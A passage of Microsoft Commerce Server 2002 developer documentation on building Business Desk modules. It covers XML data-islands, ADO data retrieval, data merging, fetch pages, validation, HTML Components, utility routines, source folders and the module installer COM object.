  • Within a script element that include the language attribute with the value "xml":
    <script language='xml' id='DataIslandID'>
    data-island XML can go here
</script>

The XML data comprising the data-island does not need to be specified on the ASP page itself. Any of the above mechanisms for embedding an XML data-island on an ASP page can use the src attribute to specify the URL of another file from which the contents of the data-island will be retrieved. Any of the following three single lines of code, in conjunction with the data-island XML contained in the specified source file, specify legitimate XML data-islands:

<xml    id='DataIslandID' src='XMLDataFileURL' />
or
<script id='DataIslandID' src='XMLDataFileURL' language='xml' />
or
<script id='DataIslandID' src='XMLDataFileURL' type='text/xml' />


Data versus Meta-data

The HTML Components (HTCs) used to manipulate data within Commerce Server Business Desk modules are instantiated on a Web page as DHTML behaviors associated with an element on the page, typically a DIV element. This element is known as the container element because it contains the HTC. The container element can have arbitrary attributes assigned to it, allowing them to be accessed from the code in the HTC. Such attributes are known as container attributes, and an important aspect of understanding each of the HTCs supplied with the Business Desk Framework is an understanding of the container attributes it expects to be associated with its container element.

A common type of value for a Business Desk HTC container attribute is a string that is the ID of a corresponding data-island in the document. Two of the container attributes expected by most of the Business Desk HTCs each provide the ID of an XML data-island. One of these IDs references a data-island that contains the actual data to be manipulated, represented in a standard format that is an XML representation of a set of database records. The other ID references a data-island that contains what is known as meta-data, or data about the data. For each of the fields in the records of the set, this includes such information as the type of the data and the name to be displayed in the column heading. In addition, the meta-data for many HTCs includes global configuration information that affects the display and behavior of the HTC as a whole.

The data for a particular field in one data-island and the corresponding meta-data for that field in the other data-island are associated using XML attributes and elements. Attributes in the meta-data XML identify a corresponding element in the XML containing the data.

The following table shows the container attributes associated with each of the Business Desk HTCs. With the exception of the meta-data container attribute named DataID, all the data and meta-data container attributes are assigned values that are the same as the value of the id attribute of the corresponding XML data-island (the id attribute of an xml or script element). The container attribute DataID is a special case; it is assigned a value that is the same as the id attribute of a field element within the data-island specified by the corresponding MetaXML container attribute.

HTC Name | Data Container Attributes | Meta-Data Container Attributes | Miscellaneous Container Attributes
DynamicTable | DataXML | MetaXML | <none>
EditField | DataXML | MetaXML | <none>
EditSheet | DataXML | MetaXML | <none>
ExpressionBuilder | <none> | XMLCfgID | <none>
ListBox | <none> | <none> | <none>
ListEditor | DataXML | MetaXML | <none>
ListSheet | DataXML | MetaXML | <none>
QueryBuilder | <none> | XMLCfgID | AutoActivate
TreeView | DataXML | <none> | <none>

The format of the meta-data data-islands is specific to each HTC. For more information about the details of these XML formats, see Business Desk XML Structures.

With one exception, the data-island associated with the DataXML container attribute is in a standard format, regardless of which HTC is in use. For more information about this standard format, creating data-islands programmatically, and creating data-islands containing hierarchical data, see HTML Component Data Representation, Getting Data to the Client, and XML Data Merging, respectively.

The exception to the standard format usage is the TreeView HTC, which expects the data-island associated with the DataXML container attribute to have a completely different format. For more information about this format, see TreeView Configuration.


Retrieving Data

In general, the Commerce Server Business Desk modules that ship with Microsoft Commerce Server 2002 make use of Active Data Objects (ADO) within ASP code to access a database and retrieve the relevant information in the form of an ADO Recordset object. Business Desk provides some global variables and utility functions for creating ADO Connection and Command objects that most of the Business Desk modules shipped with Commerce Server 2002 use. These variables and functions are defined in the Business Desk include file DBUtil.asp.

The DBUtil.asp include file includes the following line to define global ADO Connection and Command objects for use on Business Desk module ASP pages:

Dim g_oConn, g_oCmd

The DBUtil.asp include file defines the routine oGetADOConnection. This routine takes a connection string as its only parameter. It returns a reference to an ADO Connection object that has been initialized with connection and command timeouts of 15 and 30 seconds, respectively, and that has been opened using the passed connection string.

The DBUtil.asp include file also defines the routine oGetADOCommand. This routine takes a Connection object and a command type as parameters. It returns a reference to an ADO Command object that has been initialized to use the passed connection and command type. The passed command type is typically AD_CMD_TEXT, which is also defined in this file.

When these two routines are combined with the creation and opening of an ADO Recordset object, the result is a Recordset object containing the results from the query, ready to be converted into an XML data-island. For more information about converting a Recordset object into and XML data-island, see Getting Data to the Client. The strings sYourConnectionString and sYourSqlQuery, used in the following script, must have been defined elsewhere.

Set g_oConn = oGetADOConnection(sYourConnectionString)
Set g_oCmd = oGetADOCommand(g_oConn, AD_CMD_TEXT)

Dim rsRecSet
g_oCmd.CommandText = sYourSqlQuery
Set rsRecSet = Server.CreateObject("ADODB.Recordset")
rsRecSet.Open g_oCmd, , AD_OPEN_KEYSET, AD_LOCK_PESSIMISTIC


Getting Data to the Client

Data is passed to the Commerce Server Business Desk HTML Components (HTCs) in the form of XML data-islands, frequently within the Web page itself. When the HTCs are executed by Internet Explorer 5 on the client, they can access and display this data for the Business Desk user.

For more information about the ways in which XML data-islands can be created on a page, see XML Data-Islands.

The DBUtil.asp include file defines several routines for producing XML data-islands in the correct format. These routines write all the resultant XML onto the page with the exception of the surrounding xml or script element, and its attributes. Note that the id attribute of both the xml and the script elements is required to identify the data-island to the HTC that is going to use it.

The DBUtil.asp include file contains two routines for converting ADO Recordset objects into the corresponding XML data-islands understood by the HTCs: xmlGetXMLFromRS and xmlGetXMLFromRSEx. It also includes two routines that result in the same XML data-islands, but that also include the database connection and query steps: xmlGetXMLFromQuery and xmlGetXMLFromQueryEx. For more information about these functions, see one of the following:

  • xmlGetXMLFromRS (server-side)
  • xmlGetXMLFromQuery (server-side)
  • xmlGetXMLFromRSEx (server-side)
  • xmlGetXMLFromQueryEx (server-side)

Many of the Microsoft Commerce Server 2002 COM objects are designed to return ADO Recordset objects specifically so that one of these routines can be called to convert them to XML data-islands on an ASP page.

The following code example shows how the invocation of the xmlGetXMLFromRS routine can appear within an xml element on an ASP page. Invocation of this routine and each of the other three routines can appear within an xml element, or within a script element containing the proper attributes to identify it as containing an XML data-island. The id attribute of the xml or script element, DataIslandID, is then assigned to the DataXML container attribute of the DIV element containing the corresponding HTC.

<xml id='DataIslandID'>
<%
    xmlGetXMLFromRS rsRecordset
%>
</xml>

From the perspective of the HTC, it is not important that the XML data-island be produced using one of the provided routines, or even that it be produced from an ADO Recordset object. All that matters from the perspective of the HTC is that the XML data-island be in the expected format. This design allows for greater flexibility with respect to where the data originates, and how it is processed prior to being converted to the proper XML format. The original data may be hard-coded on the page or even the result of an XSL transform.


XML Data Merging

The ListSheet HTML Component (HTC) can be instantiated in several different modes. Many of these modes present data in a hierarchical fashion, allowing details to be hidden, drilled into, and then hidden again. When operating in this manner, the ListSheet HTC expects data to be represented hierarchically in the corresponding XML data-island. This is achieved by merging either two (or three) distinct single-tiered XML data-islands into a single two-tiered (or three-tiered) data-island. The following routines, provided by the Commerce Server Business Desk Framework, perform data merging of this sort:

sMergeGroups2 (server-side) | sMergeGroups2 (client-side)
sMergeGroups3 (server-side) | sMergeGroups3 (client-side)
xmlMergeGroups2 (server-side) | xmlMergeGroups2 (client-side)
xmlMergeGroups3 (server-side) | xmlMergeGroups3 (client-side)
 | xmlMergeGroupsByID2 (client-side)
 | xmlMergeGroupsByID3 (client-side)

The following example illustrates how XML data merging works for two levels. A three level merge is conceptually similar. The following XML representation of two records is considered to be the higher-level information, containing in this case the name and age of different people, to be displayed in the group rows of a ListSheet HTC (the userid is configured to be hidden).

<xml id=master>
    <document recordcount=2>
        <record>
            <name>David</name>
            <age>39</age>
            <userid>dav001</userid>
        </record>
        <record>
            <name>Sarah</name>
            <age>33</age>
            <userid>sar015</userid>
        </record>
    </document>
</xml>

The following XML representation of three records is considered to be the detailed information, containing in this case the names and ages of the children of the people in the XML structure above, to be displayed in the detail rows of a ListSheet HTC (the userid is configured to be hidden).

<xml id=detail>
    <document recordcount=2>
        <record>
            <userid>sar015</userid>
            <name>Jennifer</name>
            <age>6</age>
        </record>
        <record>
            <userid>sar015</userid>
            <name>Thomas</name>
            <age>3</age>
        </record>
        <record>
            <userid>dav001</userid>
            <name>Lilly</name>
            <age>10</age>
        </record>
    </document>
</xml>

A variety of MergeGroups routines can be used to combine either two or three sets of XML records, resulting in a two- and three-tier set of records appropriate for use with a two- or three-level ListSheet HTC. If the two XML structures above are represented in two XML document objects referenced by the variables xmlMaster and xmlDetail, respectively, they could be merged by calling the following routine, which places the resulting merged XML in the string variable sMerged:

sMerged = sMergeGroups2(xmlMaster, xmlDetail, "userid")

The field element name userid is passed in as the key. It must be an element that exists in both sets of records. If a record in the master set and a record in the detail set are found to have the same value for the specified element, the two records are merged in the resulting set, with the master record elements occupying the first-tier of the result record and the detail record elements occupying the second-tier of the result record.

The following XML representation shows the result of combining the two sets of records above. The merged, second-tier fields are shown in bold font. Note that the key element, at least, appears on both tiers of the result records:

<xml>
    <document recordcount=2>
        <record>
            <name>David</name>
            <age>39</age>
            <userid>dav001</userid>
            <record>
                <userid>dav001</userid>
                <name>Lilly</name>
                <age>10</age>
            </record>
        </record>
        <record>
            <name>Sarah</name>
            <age>33</age>
            <userid>sar015</userid>
            <record>
                <userid>sar015</userid>
                <name>Jennifer</name>
                <age>6</age>
            </record>
            <record>
                <userid>sar015</userid>
                <name>Thomas</name>
                <age>3</age>
            </record>
        </record>
    </document>
</xml>


XMLHTTP Operations and Fetch Pages

The ListSheet and TreeView HTML Components (HTCs) support a special class of operations in which a form is posted to a special type of page on the server. This type of page is known as a fetch page. Fetch pages are designed to process these operations and return the results as an XML document containing data in the standard XML data format.

Nothing besides the XML data can be present on the page being returned. Indeed, the content type of the page being returned must be set to "text/xml." Specifically, every fetch page should include the file BDXMLHeader.asp, which establishes the content type and other common page characteristics. Some of the lines from this include file are shown here with the two alternative forms of the first line, the second of which specifies the Norwegian IA5 codepage (do not duplicate line 1 in the actual include file):

 Line
   1    <%@ Language=VBScript %><%'@ Language=VBScript CodePage=1252 %><%
   1    <%'@ Language=VBScript %><%@ Language=VBScript CodePage=20108 %><%
   2
   3    ' switch the @ lines above to set a codepage
   4    ' that is different than the system locale
   5
   6    '   IE 5.5 supports the following settings for charset and codepage:
   7    '      (these are recommended though not all have been tested)
   8

At this point, the file BDXMLHeader.asp includes a list of possible CodePages. Refer to the actual file for details.

   n
 n+1    Option Explicit
 n+2
 n+3    if not isEmpty(Application("MSCSPageEncodingCharset")) then _
 n+4               Response.Charset = Application("MSCSPageEncodingCharset")
 n+5    Response.AddHeader "Pragma", "no-cache"
 n+6    Response.ContentType = "text/xml"
 n+7    Response.Expires = -1
 n+8    Response.Buffer = true
 n+9    %><?xml version='1.0' encoding='<%= Response.Charset %>' ?>
n+10

It is important that the content type of the returned page is set to "text/xml" so that the browser passes the data through to the existing list page, without re-rendering anything. The point of an XMLHTTP operation is to allow the ListSheet and TreeView HTCs to fetch and display new data from the server without reloading the entire list page.

Since the ListSheet HTC posts an XML document, the fetch page can access the various arguments included with the posted form by converting this XML request to a Dictionary object using the dGetRequestXMLAsDict routine. For example:

set g_dRequest = dGetRequestXMLAsDict()
sOperation = g_dRequest("op")

Another important consideration in the construction of fetch pages concerns include files. Since the data returned by the page must be pure XML, any client-side script or HTML will corrupt this XML and make it invalid. The file ActionPageUtil.asp is a good example of a file that must not be included in fetch pages for these very reasons.

At times, the fetch page may need to save some or all of the data passed to it as form arguments so that that data can serve as defaults for the remainder of the session. The ASP Session object is the most natural candidate for saving this type of data. A common example of this type of data is the criteria used within the find pane. If preserved in the Session object, these criteria can be available to be set as the default values in the event that the list page needs to be re-rendered (such as after returning from an edit page).


Data Validation

One of the main purposes of Commerce Server Business Desk is to provide a way for business managers to change the data that determines how their Web site appears to users. Such changes can consist of changing existing data, adding new data, or deleting old data. Several types of errors can occur when data is entered. The entered data might not be of the correct type, or it could exceed the allowable range of values. When a new record is being created, some of the required data could be missing. Further, there could be inconsistencies between various fields in a record based on dependencies between those fields.

Some types of errors are relatively easy to detect and handle in a generic way. Such errors are handled automatically within the relevant HTML Components (HTCs), completely on the client-side. Such errors include:

  • Enforcement of minimum and maximum allowable values for numbers, dates, and times. The min and max attributes of some types of child elements of the fields element are used to specify these restrictions, which are enforced when the input field loses focus.
  • Enforcement of a maximum and minimum length for text input. The maxlen and minlen attributes of some types of child elements of the fields element are used to specify these restrictions, which are enforced when the input field loses focus.
  • Enforcement of matching a particular pattern of characters. The charmask child element of some types of child elements of the fields element is used to specify such pattern restrictions, which are enforced when the input field loses focus.
  • Enforcement of certain formats. The format child element of some types of child elements of the fields element is used to specify such formats, which are enforced when the input field loses focus. Date and Numeric types support different formats.
  • Enforcement of required fields being supplied with a non-empty value. The required attribute of some types of child elements of the fields element is used to specify this restriction, which is enforced when the user commits changes.

The Business Desk user is notified of these types of errors as soon as they are detected, before the erroneous values are sent to the server for subsequent processing. Errors are reported using client-side modal dialog boxes that provide the Business Desk user with a standardized error message, or in the case of the pattern matching errors, a customized error message that is specified in the XML configuration information along with the pattern itself. Once the invalid data dialog box is dismissed, the field or fields that caused the error are marked to draw the attention of the Business Desk user to those fields.

Some types of data validation are more involved and must be handled by the module in a custom manner, usually on the server-side. These types of validation include uniqueness checking across records and cross-field validation. When these types of errors occur, the module is responsible for displaying an appropriate error message, re-displaying the page upon which the error was made, and restoring the state of that page.

A common technique for performing cross-field data validation in client-side code is to trap the OnChange event provided by many of the Business Desk HTCs. You can write a handler function for the OnChange event that, for example, performs consistency checking between different fields on the page, or which forces a user-supplied value into a more acceptable format. The following HTCs support the OnChange event:

  • DynamicTable
  • EditField
  • EditSheet
  • ListEditor


Saving Changes to Data

The most typical scenarios for saving changes to data is to save a record or set of records that have presumably been altered, or deleting one or more records. In general, saving changes could be the initial save of a new record, the saving of changes to an existing record, or the saving of similar changes to a set of records. In all of these cases, the save or delete action is usually initiated by a user pressing a task button.

The changed data is sent to the server to be saved using HTML forms with the POST method (as opposed to the GET method). Typically, for each server-side page used to process such changes to data, a unique HTML form is defined that specifies the arguments to be posted with the form. The following lines of HTML code show the definition of such a form:

<FORM ID='memberchange' METHOD='POST'>
    <INPUT TYPE='hidden' ...>
    ...
    <INPUT TYPE='hidden' ...>
</FORM>

The ACTION attribute is usually not specified for forms used for tasks within the Commerce Server Business Desk Framework. Rather, the association of particular forms and the pages designed to process them is accomplished through the module configuration files. For more information about how forms are associated with the pages designed to process them, see the postto section in the Module Configuration Files topic.

Normally, various edit type HTCs will be enclosed in the form and each will automatically create an INPUT element using the same name as the XML node with which the HTC is associated.

Other arguments for the form can be defined as INPUT elements with their type attributes set to "hidden". Other important attributes that need to be set are:

  • The id attribute, which allows access to the element through the Document Object Model (DOM).
  • The name attribute, which supplies a name to associate with the item of data when posting the form.
  • The value attribute, assuming that there is a default.

The id attribute and the name attribute can be assigned the same value.

The following line of HTML code illustrates a typical INPUT element within such a form, including a default value provided by an ASP variable:

<INPUT TYPE='hidden' ID='expdate'
       NAME='expdate' VALUE='<%= DefaultExpDate%>'>

Sometime before the form is submitted, the module code may assign a (new) value to the INPUT element using the DOM. The element is located using its id attribute and the (new) value is assigned to its value attribute. Once such value changes have been made for all appropriate input elements associated with the form, the form can be submitted and the values become available to the server page processing the changes through the ASP Request object.

A hidden value in a form is often set as a result of an event in the ListSheet HTML Component (HTC). For example, when the OnRowSelect event fires, the key ID for the selection can be placed in a hidden input field so that the selection is sent to an edit page when the form is posted by the task.

Occasionally, you may need to perform some special client-side processing after the task button is clicked, but before the form is posted. Most often, this involves requesting further information from the user, such as asking what type of new record to add, or confirming a modification or delete operation. Sometimes such processing can be performed automatically, without further user interaction. In any event, different processing paths are possible, including different data being submitted with the form, different forms being submitted, or the same form being submitted to a different page for processing.

An ONTASK attribute is defined for the FORM element to support this requirement. If the ONTASK attribute is defined for a FORM element being processed by the Business Desk Framework, the Framework attempts to execute the value provided for that attribute. Most often, the value is a routine name, allowing that routine to perform the required processing.

The following line of HTML code shows the same FORM element as above, though this time it has an ONTASK attribute defined:

<FORM ID='memberchange' METHOD='POST' ONTASK='OnMemberChange'>

When an ONTASK attribute is defined, the executed routine is responsible for submitting the form once the special processing is accomplished. The form can be submitted using the submit method of the form.

The final step in changes to data being persisted to a database occurs within ASP code on the server. A form is posted to an ASP page on the server, and it generally includes various fields of data that can be accessed using the ASP Request object. Using this object, the server-side script retrieves the data posted with the form and places it into an Active Data Objects (ADO) Recordset object to be persisted.

The information in the form will include any fields that were in an EditSheet contained by the form. This includes all EditFields and fields in the EditSheets, which will be sent along with the form.

The DynamicTable and ListSheet HTCs, however, return XMLlists instead of fields. These XMLlists, retrieved through the OnChange event object property XMLlist, needs to be assigned to a hidden form field (see the shipping page for an example).


HTML Components in Business Desk

The Commerce Server Business Desk Framework includes a number of HTML Components (HTCs) that are used extensively by the modules that ship with Commerce Server 2002. (HTCs are one of the ways in which the DHTML behaviors supported in Internet Explorer 5.5 can be implemented. The HTCs supplied with Commerce Server are more complex than typical Internet Explorer 5 behaviors.) The Business Desk HTCs are also intended for use in new Business Desk modules developed by third parties. Not only does such use save third parties significant effort in developing new modules, it benefits the users of Business Desk by promoting a common look-and-feel throughout an extended Business Desk.

Each of the HTCs that ship with Business Desk defines a unique set of events, properties, and methods. Each HTC also has a particular format in which it expects to be passed its configuration data, including both the configuration data used to control the behavior and display of the control, as well as the actual Web site data itself. Also, each HTC is instantiated within script on an ASP page in a slightly different manner. These details are provided in the Business Desk Reference in the section entitled HTML Components.

Each HTC has a variable named m_bDebug, defined at the beginning of the HTC file containing the script code for the HTC. If this variable is set to True, error messages display in alerts to help in debugging while a module is being developed. If the variable m_bDebug is set to False, the same error is sent in an onError event instead of being displayed in an alert. The onError event can then be trapped and handled in script code.

The following table describes the HTCs supplied with the Business Desk Framework, and provides links to more detailed information in the Programmer’s Reference.

HTML Component | Description
DynamicTable | Used for editing tabular data where editing is limited to the columns being displayed.
EditField | Used for editing individual items of data of various types.
EditSheet | Used to bundle together other controls that are used to edit data.
ExpressionBuilder | Describes the control used for creating named expressions that can be used for targeting. The ExpressionBuilder HTC makes use of an embedded version of the QueryBuilder HTC.
ListBox | Used for list-to-list copy and move operations.
ListEditor | Used for editing tabular data where the editing of individual records occurs in a separate table below the table containing the list.
ListSheet | Used to display a list of records and allows selection of one or more of those records for editing. This HTC is read-only.
QueryBuilder | Used to build a simple query.
TreeView | Used to display an XML structure in a tree format.

The ListSheet and TreeView HTCs are unique in that they both offer a mechanism for requesting additional XML data from the server without needing to reload the entire page containing the HTC in question.


Business Desk Utilities

An important aspect of the Commerce Server Business Desk Framework is the set of constants, global variables, and utility routines that provide an extensive base of shared code used by the modules that ship with Microsoft Commerce Server 2002, and which are intended for use by third party developers of new modules.

This shared code is made available to Business Desk modules in the form of include files, specified in the action pages for a module. Depending on the nature of the action page, such as whether it contains client-side script or server-side script, or both, different include files are appropriate for inclusion.

The details of the constants, global variables, and utility routines in the various include files are provided in the Business Desk Reference, in the following sections:

  • Include Files. Describes the include files that define the constants, global variables, and utility routines that constitute much of the Business Desk Framework. Explains when to include and when to not include each of these files.
  • Constants. Describes the constants defined in the various Business Desk include files. Defines which constants are available in client-side versus server-side script.
  • Global Variables. Describes the global variables defined in the various Business Desk include files. Defines which global variables are available in client-side versus server-side script.
  • Utility Routines. Describes the routines defined in the various Business Desk include files. Defines which routines are available in client-side versus server-side script.

    Many of the utility routines are shown in the following list, organized according to their intended use.

Action Page Routines:
ClearStatusText (client-side) | OpenHelp (client-side)
dGetAction (server-side) | SetPageTitleText (client-side)
HideStatusAnimation (client-side) | SetStatusText (client-side)
HideStatusLegend (client-side) | SetWaitDisplayText (client-side)
HideWaitDisplay (client-side) | ShowWaitDisplay (client-side)
List Page Routines:
execDefaultTask (client-side) | SetFindByHeight (client-side)
execTaskFromContextMenu (client-side) | ShowFindBy (client-side)
HideFindBy (client-side) | ToggleFindBy (client-side)
InsertTaskBar (server-side) |
Edit Page Routines:
InsertEditTaskBar (server-side) | SetDirty (client-side)
OpenEditPage (client-side) | SetRequired (client-side)
ResetSaveBtns (client-side) | SetValid (client-side)
Task Button Routines:
DisableTask (client-side) | EnableTask (client-side)
DisableTaskMenuItem (client-side) | EnableTaskMenuItem (client-side)
elGetTaskBtn (client-side) | SetTaskTooltip (client-side)
EnableAllTaskMenuItems (client-side) | ToggleTask (client-side)
EnableAllTasks (client-side) |
Context Menu Routines:
clickContextMenuItem (client-side) | showContextMenu (client-side)
closeContextMenu (client-side) | toggleContextMenuHighlight (client-side)
General Utility Routines:
AddClass (client-side) | nGetYear (client-side)
BDHALsizeButtons (client-side) | RemoveClass (client-side)
BDHALsizeSelects (client-side) | ReplaceClass (client-side)
bGetPubRequired (client-side) | SetPubRequired (client-side)
bHasClass (client-side) | sFormatString (client-side)
bIsDate (client-side) | sFormatString (server-side)
dtGetDate (client-side) | sGetFormattedDate (client-side)
GetSiteConfigField (server-side) | sRelURL2AbsURL (server-side)
nGetDay (client-side) | xmlGetResource (server-side)
nGetMonth (client-side) | xmlGetSiteTermsValue (client-side)
Security Routines:
bDenySecurityForTask (server-side) |
bDenySecurityForElement (server-side) |
bInAdministratorGroup (server-side) |
CheckSecurityForModule (server-side) |
FinishWithXMLSecurityErrors (server-side) |
State Saving Routines:
ClearTemp (client-side) | dSetServerState (client-side)
dClearServerState (client-side) | GetTemp (client-side)
dGetServerState (client-side) | SetTemp (client-side)
Data Retrieval Routines:
oGetADOCommand (server-side) | xmlGetXMLFromQuery (server-side)
oGetADOConnection (server-side) | xmlGetXMLFromQueryEx (server-side)
rsGetRecordset (server-side) |
XML Conversion Routines:
dDictFromXML (client-side) | xmlMergeGroups2 (client-side)
dDictFromXML (server-side) | xmlMergeGroups2 (server-side)
sMergeGroups2 (client-side) | xmlMergeGroups3 (client-side)
sMergeGroups2 (server-side) | xmlMergeGroups3 (server-side)
sMergeGroups3 (client-side) | xmlMergeGroupsByID2 (client-side)
sMergeGroups3 (server-side) | xmlMergeGroupsByID3 (client-side)
xmlGetXMLFromRS (server-side) | xmlXMLFromDict (client-side)
xmlGetXMLFromRSEx (server-side) | xmlXMLFromDict (server-side)
XML DOM Helper Routines:
AddCDATANode (client-side) | AddItemNode (server-side)
AddCDATANode (server-side) | AddWarningNode (server-side)
AddErrorNode (server-side) | xmlGetXMLDOMDoc (client-side)
AddItemNode (client-side) | xmlGetXMLDOMDoc (server-side)
XMLHTTP Routines:
dGetRequestXMLAsDict (server-side) | xmlPostFormViaXML (client-side)
xmlGetRequestXML (server-side) | xmlXMLFromForm (client-side)
Error Routines:
SetError (server-side) | sGetScriptError (server-side)
sGetADOError (server-side) | sGetXMLError (client-side)
sGetASPError (server-side) | sGetXMLError (server-side)
sGetErrorById (server-side) | ShowErrorDlg (client-side)
sGetScriptError (client-side) | ShowXMLNodeErrors (client-side)
International Routines:
ChangeControlStylesheet (client-side) | xmlGetCurrencies (server-side)
InsertControlStylesheet (server-side) | xmlGetLanguages (server-side)


Business Desk Source Code

Source code for all modules used by a particular Web site is available within the folder (and its sub-folders) associated with the virtual directory of that instance of Business Desk. This source code can serve as a useful model when building a new Business Desk module.

The following table correlates folders within the Business Desk virtual root folder with the various modules available in Business Desk, and with other code that constitutes the Business Desk Framework. As a developer of a new Business Desk module, you may find it useful to analyze which existing modules contain functionality most similar to what you need to construct, and then "steal" code from those modules.

Business Desk Folders Module (Category), or Contains…
\analysis\
 Reports (Analysis)

Completed Reports (Analysis)

\application\
 Data Codes (Orders)
\assets\
 Contains numerous GIF files used in the modules for task buttons, required and invalid icons, and so on.

View the file icon_inventory.htm for a nicely arranged summary of the contents.

\AuthFiles\
 Contains files related to the Authentication Service – not to relevant to Business Desk module development.
\Catalogs\
 Catalog Designer (Catalogs) – Designer sub-folder

Catalog Editor (Catalogs) – Editor sub-folder

\catalogsets\
 Catalog Sets (Catalogs)
\common\
 Contains the shared files used from multiple modules in different folders.
\config\
 Contains the Business Desk configuration files. This includes the master configuration file and the various module configuration files.
\docs\
 Contains the files that constitute the Business Desk help system. Individual help topics are in the "htm" sub-folder.
\exprarch\
 Contains files required for the proper operation of the ExpressionBuilder and QueryBuilder HTCs.
\include\
 Contains various Business Desk global include files intended for use in different kinds of module files. For more information about the files in this folder, see Include Files.

Most module include files should reside within the folder associated with the module.

\marketing\
 Campaign Expressions (Campaigns)

Campaign Manager (Campaigns)

List Manager (Campaigns)

Target Group (Campaigns)

Reference Tables (Campaigns)

\orders\
 Basket Manager (Orders)

Order Status (Orders)

\organizations\
 Organizations (Users)
\productionrefresh\
 Publish (Catalogs)

Publish Transactions (Orders)

Publish Campaigns (Campaigns)

\Profiles\
 Profile Designer (Users)
\segviewer\
 Segment Viewer (Analysis)
\shipping\
 Shipping Methods (Orders)
\tax\
 Tax Rates (Orders)
\users\
 Users (Users)

The following table correlates folders within the Widgets folder within the Commerce Server installation folder with the various HTML Components (HTCs) available for use in Business Desk.

Note

  • You cannot change the name of the Widgets virtual directory in a Commerce Server installation.
HTC (Widget) Folders Contains source code for…
\editHTC\
 DynamicTable HTC

EditField HTC (and the HTCs for the different types)

EditSheet HTC

ListEditor HTC

\exprbldrHTC\
 ExpressionBuilder HTC

QueryBuilder HTC

\listHTC\
 ListBox HTC

ListSheet HTC

TreeView HTC

\OWC\
 Executable for the Office Web Controls (OWC).
\profile\
 ProfileDesigner HTC - not documented and not intended for use by third parties.


Automating Module Installation

The Commerce Server SDK includes a COM object designed to help automate the installation of new Business Desk modules. This may be useful in situations where a new module needs to be added to a number of different instances of Business Desk. The source files for this COM object are located in the folder "<install folder>\SDK\Samples\Management\Business Desk Installer".

The BizDeskModuleInstall object is capable of being called from both C/C++ code, and automation clients such as Visual Basic.

Note that this object relies on the SiteConfig object to determine the list of applications installed in a site.

The BizDeskModuleInstall object is externally creatable. Create this object using the ProgID CommerceSDK.BizDeskModuleInstall.

The Type Library for this object, once built, will be: Microsoft Commerce Server 2002 SDK BizDesk Module Install Type Library. The DLL name is: BizDeskModuleInstall.dll.

The BizDeskModuleInstall object implements the following four methods:

Init, IsBizDesk, AddModule, RemoveModule

To see a sample of how these methods can be invoked, see the Sample Code section.

These methods can return a number of different custom COM errors, which can be found in the Error Table section at the end of this topic.

Init Method

Use this method to initialize the state of the BizDeskModuleInstall object, establishing the instance of the Business Desk upon which the other methods will operate.

Definition

HRESULT Init(
  BSTR bstrIisVDirName
)

Parameters

bstrIisVDirName
[in] A BSTR containing the name of the virtual directory in Internet Information Services (IIS) that corresponds to the application selected by the user.

IsBizDesk Method

Use this method to determine whether or not the selected IIS application is a Business Desk application. This is accomplished by determining whether the "./config/bizdesk.xml" file exists in the application.

Definition

HRESULT IsBizDesk(
  VARIANT* bRetVal
);

Parameters

bRetVal
[out, retval] The address of a Boolean used to return a value indicating whether or not the IIS virtual directory specified in the Init method contains an instance of the Business Desk. A value of True indicates that it is an instance of the Business Desk. A value of False indicates that it is not an instance of Business Desk.

AddModule Method

Use this method to add a new Business Desk module to the instance of the Business Desk specified in the call to the Init method.

Definition

HRESULT AddModule(
  BSTR bstrCategory,
  BSTR bstrConfigPath,
  VARIANT bOverwrite,
  VARIANT* bSuccess
);

Parameters

bstrCategory
[in] A BSTR containing the name of the category into which the new module should be installed.
bstrConfigPath
[in] A BSTR containing the full path to the module configuration file.
bOverwrite
[in] A Boolean value indicating whether or not to overwrite an existing module configuration file. A value of True indicates that any existing module configuration file will be overwritten. A value of False prevents any overwriting from occurring.

If an existing module configuration file is overwritten, a backup of that file will be placed in a _backup folder within the config folder.

bSuccess
[out, retval] The address of a Boolean used to return a value indicating whether the method was successful. A value of True indicates success. A value of False indicates a failure, in which case the HRESULT will contain further details.

RemoveModule Method

Use this method to remove the specified module from the instance of the Business Desk specified in the call to the Init method.

Definition

HRESULT RemoveModule(
  BSTR bstrCategory,
  BSTR bstrModulePath,
  VARIANT* bSuccess
);

Parameters

bstrCategory
[in] A BSTR containing the name of the category from which the specified module is to be removed.

If the category is empty after removing the module, the category will also be removed.

bstrModulePath
[in] A BSTR containing the path of the folder containing the files associated with the module being removed. The path must be specified relative to the "config" folder.
bSuccess
[out, retval] The address of a Boolean used to return a value indicating whether the method was successful. A value of True indicates success. A value of False indicates a failure, in which case the HRESULT will contain further details.

Sample Code

The following sample code shows how the methods of the BizDeskModuleInstall object can be invoked. This sample shows the invocation of the AddModule method, with the invocation of the RemoveModule method commented out.

Dim bRet As Boolean
Dim oBizInstall As Object
set oBizInstall = CreateObject ("CommerceSDK.BizDeskModuleInstall")
oBizInstall.Init "adbizdesk"
If oBizInstall.IsBizDesk Then
    bRet = oBizInstall.AddModule("MyCategory", _
                                 "d:\temp\module.xml", True)
    'bRet = oBizInstall.RemoveModule("MyCategory", "module.xml")
End If

Error Table

The following table describes the errors that can be returned from the methods of the BizDeskModuleInstall object.

Constant (32-bit value) | Description
S_OK (00000000) | Returned when a method completes successfully.
E_FILE_EXISTS (80041001) | Returned when the module configuration file already exists in the specified location.
E_NOT_CS_APPLICATION (80041002) | Returned when the specified IIS Application is not a Commerce Server application.
E_FILE_NOT_FOUND (80041003) | Returned when the module configuration file cannot be found.
E_APP_NOT_FOUND (80041004) | Returned with the specified IIS Virtual Directory cannot be found.
E_UNHANDLED (80041005) | Returned when an unhandled error occurs.
E_INVALID_MODULE (80041006) | Returned when the specified module does not exist.
E_INIT_MOD_INSTALL_FIRST (80041007) | Returned if the IsBizDesk, AddModule, or RemoveModule methods are called before the Init method is called.
E_INVALID_CATEGORY_FOR_MODULE (80041008) | Returned when an invalid category is specified.
E_IMPROPER_CS_APP (80041009) | Returned when a configuration inconsistency is detected between Commerce Server and IIS. The BizDeskModuleInstall object must be run locally on the same machine where the physical Business Desk files exist.


Customizing Style Sheets

Cascading style sheets, found in files with .css extensions, allow the appearance of whole classes of visual HTML elements to be controlled from one central location. This includes, for example, the background colors and fonts used for various classes of elements.

Commerce Server Business Desk makes extensive use of two such style sheet files: Include\bizdesk.css and Include\navtree.css. The former is used to control the look of the content pane, and the latter is used to control the look of the navigation pane. Together, these two style sheets define a Business Desk "theme". Different themes can be chosen on the home page of Business Desk.

Microsoft Commerce Server 2002 comes with two themes defined: the default theme and a high-contrast theme, the latter of which is provided to improve accessibility. Additional themes can be added using the instructions provided in this topic.

